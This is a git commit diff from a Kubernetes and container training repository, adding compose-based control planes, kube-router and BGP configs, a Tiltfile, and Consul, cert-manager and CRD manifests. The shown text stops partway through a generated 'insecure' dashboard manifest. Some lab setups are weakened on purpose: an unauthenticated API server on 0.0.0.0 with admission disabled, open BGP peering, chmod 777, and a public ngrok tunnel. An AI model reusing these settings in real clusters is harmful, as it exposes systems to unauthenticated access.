Update README.md

It's a tiny bit easier to run through the YAML when it starts with
the ServiceAccount, I find.

.gitignore

@@ -1,13 +1,34 @@
 *.pyc
 *.swp
 *~
-prepare-vms/ips.txt
-prepare-vms/ips.html
-prepare-vms/ips.pdf
-prepare-vms/settings.yaml
+
 prepare-vms/tags
+prepare-vms/infra
+prepare-vms/www
+
+prepare-tf/.terraform*
+prepare-tf/terraform.*
+prepare-tf/stage2/*.tf
+prepare-tf/stage2/kubeconfig.*
+prepare-tf/stage2/.terraform*
+prepare-tf/stage2/terraform.*
+prepare-tf/stage2/externalips.*
+
 slides/*.yml.html
 slides/autopilot/state.yaml
 slides/index.html
 slides/past.html
+slides/slides.zip
 node_modules
+
+### macOS ###
+# General
+.DS_Store
+.AppleDouble
+.LSOverride
+
+### Windows ###
+# Windows thumbnail cache files
+Thumbs.db
+ehthumbs.db
+ehthumbs_vista.db

README.md

@@ -1,5 +1,7 @@
 # Container Training
 
+(Test for livecycle)
+
 This repository (formerly known as `orchestration-workshop`)
 contains materials (slides, scripts, demo app, and other
 code samples) used for various workshops, tutorials, and
@@ -39,7 +41,7 @@ your own tutorials.
 All these materials have been gathered in a single repository
 because they have a few things in common:
 
-- some [common slides](slides/common/) that are re-used
+- some [shared slides](slides/shared/) that are re-used
   (and updated) identically between different decks;
 - a [build system](slides/) generating HTML slides from
   Markdown source files;
@@ -199,7 +201,7 @@ this section is for you!
   locked-down computer, host firewall, etc.
 - Horrible wifi, or ssh port TCP/22 not open on network! If wifi sucks you
   can try using MOSH https://mosh.org which handles SSH over UDP. TMUX can also
-  prevent you from loosing your place if you get disconnected from servers.
+  prevent you from losing your place if you get disconnected from servers.
   https://tmux.github.io
 - Forget to print "cards" and cut them up for handing out IP's.
 - Forget to have fun and focus on your students!

compose/frr-route-reflector/conf/bgpd.conf

@@ -0,0 +1,9 @@
+hostname frr
+router bgp 64512
+network 1.0.0.2/32
+bgp log-neighbor-changes
+neighbor kube peer-group
+neighbor kube remote-as 64512
+neighbor kube route-reflector-client
+bgp listen range 0.0.0.0/0 peer-group kube
+log stdout

compose/frr-route-reflector/conf/zebra.conf

@@ -0,0 +1,2 @@
+hostname frr
+log stdout

compose/frr-route-reflector/docker-compose.yaml

@@ -0,0 +1,34 @@
+version: "3"
+
+services:
+  bgpd:
+    image: ajones17/frr:662
+    volumes:
+    - ./conf:/etc/frr
+    - ./run:/var/run/frr
+    network_mode: host
+    entrypoint: /usr/lib/frr/bgpd -f /etc/frr/bgpd.conf --log=stdout --log-level=debug --no_kernel
+    restart: always
+
+  zebra:
+    image: ajones17/frr:662
+    volumes:
+    - ./conf:/etc/frr
+    - ./run:/var/run/frr
+    network_mode: host
+    entrypoint: /usr/lib/frr/zebra -f /etc/frr/zebra.conf --log=stdout --log-level=debug
+    restart: always
+
+  vtysh:
+    image: ajones17/frr:662
+    volumes:
+    - ./conf:/etc/frr
+    - ./run:/var/run/frr
+    network_mode: host
+    entrypoint: vtysh -c "show ip bgp"
+
+  chmod:
+    image: alpine
+    volumes:
+    - ./run:/var/run/frr
+    command: chmod 777 /var/run/frr

compose/kube-router-k8s-control-plane/docker-compose.yaml

@@ -0,0 +1,29 @@
+version: "3"
+
+services:
+
+  pause:
+    ports:
+    - 8080:8080
+    image: k8s.gcr.io/pause
+
+  etcd:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/etcd:3.4.9
+    command: etcd
+
+  kube-apiserver:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.18.8
+    command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount --allow-privileged
+
+  kube-controller-manager:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.18.8
+    command: kube-controller-manager --master http://localhost:8080 --allocate-node-cidrs --cluster-cidr=10.CLUSTER.0.0/16
+    "Edit the CLUSTER placeholder first. Then, remove this line.":
+    
+  kube-scheduler:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.18.8
+    command: kube-scheduler --master http://localhost:8080

compose/kube-router-k8s-control-plane/kuberouter.yaml

@@ -0,0 +1,128 @@
+---
+apiVersion: |+
+
+
+  Make sure you update the line with --master=http://X.X.X.X:8080 below.
+  Then remove this section from this YAML file and try again.
+
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: kube-router-cfg
+  namespace: kube-system
+  labels:
+    k8s-app: kube-router
+data:
+  cni-conf.json: |
+    {
+       "cniVersion":"0.3.0",
+       "name":"mynet",
+       "plugins":[
+          {
+             "name":"kubernetes",
+             "type":"bridge",
+             "bridge":"kube-bridge",
+             "isDefaultGateway":true,
+             "ipam":{
+                "type":"host-local"
+             }
+          }
+       ]
+    }
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  labels:
+    k8s-app: kube-router
+  name: kube-router
+  namespace: kube-system
+spec:
+  selector:
+    matchLabels:
+      k8s-app: kube-router
+  template:
+    metadata:
+      labels:
+        k8s-app: kube-router
+      annotations:
+        scheduler.alpha.kubernetes.io/critical-pod: ''
+    spec:
+      serviceAccountName: kube-router
+      containers:
+      - name: kube-router
+        image: docker.io/cloudnativelabs/kube-router
+        imagePullPolicy: Always
+        args:
+        - "--run-router=true"
+        - "--run-firewall=true"
+        - "--run-service-proxy=true"
+        - "--master=http://X.X.X.X:8080"
+        env:
+        - name: NODE_NAME
+          valueFrom:
+            fieldRef:
+              fieldPath: spec.nodeName
+        - name: KUBE_ROUTER_CNI_CONF_FILE
+          value: /etc/cni/net.d/10-kuberouter.conflist
+        livenessProbe:
+          httpGet:
+            path: /healthz
+            port: 20244
+          initialDelaySeconds: 10
+          periodSeconds: 3
+        resources:
+          requests:
+            cpu: 250m
+            memory: 250Mi
+        securityContext:
+          privileged: true
+        volumeMounts:
+        - name: lib-modules
+          mountPath: /lib/modules
+          readOnly: true
+        - name: cni-conf-dir
+          mountPath: /etc/cni/net.d
+      initContainers:
+      - name: install-cni
+        image: busybox
+        imagePullPolicy: Always
+        command:
+        - /bin/sh
+        - -c
+        - set -e -x;
+          if [ ! -f /etc/cni/net.d/10-kuberouter.conflist ]; then
+            if [ -f /etc/cni/net.d/*.conf ]; then
+              rm -f /etc/cni/net.d/*.conf;
+            fi;
+            TMP=/etc/cni/net.d/.tmp-kuberouter-cfg;
+            cp /etc/kube-router/cni-conf.json ${TMP};
+            mv ${TMP} /etc/cni/net.d/10-kuberouter.conflist;
+          fi
+        volumeMounts:
+        - mountPath: /etc/cni/net.d
+          name: cni-conf-dir
+        - mountPath: /etc/kube-router
+          name: kube-router-cfg
+      hostNetwork: true
+      tolerations:
+      - key: CriticalAddonsOnly
+        operator: Exists
+      - effect: NoSchedule
+        key: node-role.kubernetes.io/master
+        operator: Exists
+      - effect: NoSchedule
+        key: node.kubernetes.io/not-ready
+        operator: Exists
+      volumes:
+      - name: lib-modules
+        hostPath:
+          path: /lib/modules
+      - name: cni-conf-dir
+        hostPath:
+          path: /etc/cni/net.d
+      - name: kube-router-cfg
+        configMap:
+          name: kube-router-cfg
+

compose/simple-k8s-control-plane/docker-compose.yaml

@@ -0,0 +1,31 @@
+# Note: hyperkube isn't available after Kubernetes 1.18.
+# So we'll have to update this for Kubernetes 1.19!
+
+version: "3"
+
+services:
+
+  pause:
+    ports:
+    - 8080:8080
+    image: k8s.gcr.io/pause
+
+  etcd:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/etcd:3.4.9
+    command: etcd
+
+  kube-apiserver:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.18.8
+    command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount
+
+  kube-controller-manager:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.18.8
+    command: kube-controller-manager --master http://localhost:8080
+    
+  kube-scheduler:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.18.8
+    command: kube-scheduler --master http://localhost:8080

dockercoins/Tiltfile

@@ -0,0 +1,67 @@
+# (1) Setting up a registry, and telling Tilt to use it.
+
+# Tilt needs a registry to store images.
+
+# The following manifest defines a Deployment to run a basic Docker registry,
+# and a NodePort Service to access it. Using a NodePort means that we don't
+# need to obtain a TLS certificate, because we will be accessing the registry
+# through localhost.
+k8s_yaml('../k8s/tilt-registry.yaml')
+
+# Tell Tilt to use the registry that we just deployed instead of whatever
+# is defined in our Kubernetes resources. Tilt will patch image names to
+# use our registry.
+default_registry('localhost:30555')
+
+# Create a port forward so that we can access the registry from our local
+# environment, too. Note that if you run Tilt directly from a Kubernetes node
+# (which is not typical, but might happen in some lab/training environments)
+# the following might cause an error because port 30555 is already taken.
+k8s_resource(workload='tilt-registry', port_forwards='30555:5000')
+
+# (2) Telling Tilt how to build and run our app.
+
+# The following two lines will use the kubectl-build plugin
+# to leverage buildkit and build the images in our Kubernetes
+# cluster. This is not enabled by default, because it requires
+# the plugin to be installed.
+# See https://github.com/vmware-tanzu/buildkit-cli-for-kubectl
+# for more information about this plugin.
+#load('ext://kubectl_build', 'kubectl_build')
+#docker_build = kubectl_build
+
+# Our Kubernetes manifests use images 'dockercoins/...' so we tell Tilt
+# how each of these images should be built. The first argument is the name
+# of the image, the second argument is the directory containing the build
+# context (i.e. the Dockerfile to build the image).
+docker_build('dockercoins/hasher', 'hasher')
+docker_build('dockercoins/rng', 'rng')
+docker_build('dockercoins/webui', 'webui')
+docker_build('dockercoins/worker', 'worker')
+
+# The following manifests defines five Deployments and four Services for
+# our application.
+k8s_yaml('../k8s/dockercoins.yaml')
+
+# (3) Finishing touches.
+
+# The following line lets Tilt run with the default kubeadm cluster-admin context.
+allow_k8s_contexts('kubernetes-admin@kubernetes')
+
+# This will run an ngrok tunnel to expose Tilt to the outside world.
+# This is intended to be used when Tilt runs on a remote machine.
+local_resource(name='ngrok:tunnel', serve_cmd='ngrok http 10350')
+
+# This will wait until the ngrok tunnel is up, and show its URL to the user.
+# We send the output to /dev/tty so that it doesn't get intercepted by
+# Tilt, and gets displayed to the user's terminal instead.
+# Note: this assumes that the ngrok instance will be running on port 4040.
+# If you have other ngrok instances running on the machine, this might not work.
+local_resource(name='ngrok:showurl', cmd='''
+  while sleep 1; do
+    TUNNELS=$(curl -fsSL http://localhost:4040/api/tunnels | jq -r .tunnels[].public_url)
+    [ "$TUNNELS" ] && break
+  done
+  printf "\nYou should be able to connect to the Tilt UI with the following URL(s): %s\n" "$TUNNELS" >/dev/tty
+  '''
+)

dockercoins/hasher/Dockerfile

@@ -5,6 +5,3 @@ RUN gem install thin
 ADD hasher.rb /
 CMD ["ruby", "hasher.rb"]
 EXPOSE 80
-HEALTHCHECK \
-  --interval=1s --timeout=2s --retries=3 --start-period=1s \
-  CMD curl http://localhost/ || exit 1

dockercoins/webui/Dockerfile

@@ -1,6 +1,6 @@
 FROM node:4-slim
 RUN npm install express
-RUN npm install redis
+RUN npm install redis@3
 COPY files/ /files/
 COPY webui.js /
 CMD ["node", "webui.js"]

dockercoins/webui/files/index.html

@@ -13,7 +13,7 @@
     color: royalblue;
 }
 </style>
-<script src="jquery.js"></script>
+<script src="jquery-1.11.3.min.js"></script>
 <script src="d3.min.js"></script>
 <script src="rickshaw.min.js"></script>
 <script>

dockercoins/webui/files/jquery.js

@@ -1 +0,0 @@
-jquery-1.11.3.min.js

elk/docker-compose.yml

@@ -2,14 +2,14 @@ version: "2"
 
 services:
   elasticsearch:
-    image: elasticsearch
+    image: elasticsearch:2
     # If you need to access ES directly, just uncomment those lines.
     #ports:
     #  - "9200:9200"
     #  - "9300:9300"
 
   logstash:
-    image: logstash
+    image: logstash:2
     command: |
       -e '
       input {
@@ -47,7 +47,7 @@ services:
       - "12201:12201/udp"
 
   kibana:
-    image: kibana
+    image: kibana:4
     ports:
       - "5601:5601"
     environment:

k8s/Tiltfile.helmchart

@@ -0,0 +1,8 @@
+k8s_yaml(helm(
+    "./path-to-chart", name="blue",
+    values=[], # Example: ["./path/to/values.yaml"]
+    set=[
+        "image.repository=jpetazzo/color",
+        "image.tag=latest",
+    ]
+))

k8s/admission-configuration.yaml

@@ -0,0 +1,16 @@
+apiVersion: apiserver.config.k8s.io/v1
+kind: AdmissionConfiguration
+plugins:
+- name: PodSecurity
+  configuration:
+    apiVersion: pod-security.admission.config.k8s.io/v1alpha1
+    kind: PodSecurityConfiguration
+    defaults:
+      enforce: baseline
+      audit: baseline
+      warn: baseline
+    exemptions:
+      usernames:
+      - cluster-admin
+      namespaces:
+      - kube-system

k8s/canary.yaml

@@ -0,0 +1,21 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+  annotations:
+    traefik.ingress.kubernetes.io/service-weights: |
+      whatever: 90%
+      whatever-new: 10%
+spec:
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 80
+      - path: /
+        backend:
+          serviceName: whatever-new
+          servicePort: 80

k8s/certbot.yaml

@@ -0,0 +1,36 @@
+kind: Service
+apiVersion: v1
+metadata:
+  name: certbot
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: certbot
+spec:
+  rules:
+  - http:
+      paths:
+      - path: /.well-known/acme-challenge/
+        pathType: Prefix
+        backend:
+          service:
+            name: certbot
+            port:
+              number: 80
+---
+apiVersion: v1
+kind: Endpoints
+metadata:
+  name: certbot
+subsets:
+- addresses:
+  - ip: A.B.C.D
+  ports:
+  - port: 8000
+    protocol: TCP
+

k8s/cm-certificate.yaml

@@ -0,0 +1,11 @@
+apiVersion: cert-manager.io/v1
+kind: Certificate
+metadata:
+  name: xyz.A.B.C.D.nip.io
+spec:
+  secretName: xyz.A.B.C.D.nip.io
+  dnsNames:
+  - xyz.A.B.C.D.nip.io
+  issuerRef:
+    name: letsencrypt-staging
+    kind: ClusterIssuer

k8s/cm-clusterissuer.yaml

@@ -0,0 +1,18 @@
+apiVersion: cert-manager.io/v1
+kind: ClusterIssuer
+metadata:
+  name: letsencrypt-staging
+spec:
+  acme:
+    # Remember to update this if you use this manifest to obtain real certificates :)
+    email: hello@example.com
+    server: https://acme-staging-v02.api.letsencrypt.org/directory
+    # To use the production environment, use the following line instead:
+    #server: https://acme-v02.api.letsencrypt.org/directory
+    privateKeySecretRef:
+      name: issuer-letsencrypt-staging
+    solvers:
+    - http01:
+        ingress:
+          class: traefik
+

k8s/coffee-1.yaml

@@ -0,0 +1,18 @@
+# Note: apiextensions.k8s.io/v1beta1 is deprecated, and won't be served
+# in Kubernetes 1.22 and later versions. This YAML manifest is here just
+# for reference, but it's not intended to be used in modern trainings.
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  version: v1alpha1
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+

k8s/coffee-2.yaml

@@ -0,0 +1,21 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+

k8s/coffee-3.yaml

@@ -0,0 +1,37 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            properties:
+              taste:
+                description: Subjective taste of that kind of coffee bean
+                type: string
+            required: [ taste ]
+    additionalPrinterColumns:
+    - jsonPath: .spec.taste
+      description: Subjective taste of that kind of coffee bean
+      name: Taste
+      type: string
+    - jsonPath: .metadata.creationTimestamp
+      name: Age
+      type: date

k8s/coffees.yaml

@@ -0,0 +1,34 @@
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: arabica
+spec:
+  taste: strong
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: excelsa
+spec:
+  taste: fruity
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: liberica
+spec:
+  taste: smoky
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: robusta
+spec:
+  taste: stronger
+  bitterness: high
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: java

k8s/consul-1.yaml

@@ -0,0 +1,78 @@
+# Basic Consul cluster using Cloud Auto-Join.
+# Caveats:
+# - no actual persistence
+# - scaling down to 1 will break the cluster
+# - pods may be colocated
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"

k8s/consul-2.yaml

@@ -0,0 +1,89 @@
+# Better Consul cluster.
+# There is still no actual persistence, but:
+# - podAntiaffinity prevents pod colocation
+# - clusters works when scaling down to 1 (thanks to lifecycle hook)
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchLabels:
+                  app: consul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command: [ "sh", "-c", "consul leave" ]

k8s/consul-3.yaml

@@ -0,0 +1,99 @@
+# Even better Consul cluster.
+# That one uses a volumeClaimTemplate to achieve true persistence.
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  volumeClaimTemplates:
+    - metadata:
+        name: data
+      spec:
+        accessModes:
+          - ReadWriteOnce
+        resources:
+          requests:
+            storage: 1Gi
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchLabels:
+                  app: consul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          volumeMounts:
+            - name: data
+              mountPath: /consul/data
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command: [ "sh", "-c", "consul leave" ]

k8s/dashboard-insecure.yaml

@@ -0,0 +1,504 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+---
+# Source: kubernetes-dashboard/templates/serviceaccount.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# kubernetes-dashboard-certs
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-certs
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# kubernetes-dashboard-csrf
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-csrf
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# kubernetes-dashboard-key-holder
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-key-holder
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/configmap.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-settings
+data:
+---
+# Source: kubernetes-dashboard/templates/clusterrole-metrics.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: "kubernetes-dashboard-metrics"
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+rules:
+  # Allow Metrics Scraper to get metrics from the Metrics server
+  - apiGroups: ["metrics.k8s.io"]
+    resources: ["pods", "nodes"]
+    verbs: ["get", "list", "watch"]
+---
+# Source: kubernetes-dashboard/templates/clusterrolebinding-metrics.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: "kubernetes-dashboard-metrics"
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/role.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+rules:
+    # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
+  - apiGroups: [""]
+    resources: ["secrets"]
+    resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs", "kubernetes-dashboard-csrf"]
+    verbs: ["get", "update", "delete"]
+    # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
+  - apiGroups: [""]
+    resources: ["configmaps"]
+    resourceNames: ["kubernetes-dashboard-settings"]
+    verbs: ["get", "update"]
+    # Allow Dashboard to get metrics.
+  - apiGroups: [""]
+    resources: ["services"]
+    resourceNames: ["heapster", "dashboard-metrics-scraper"]
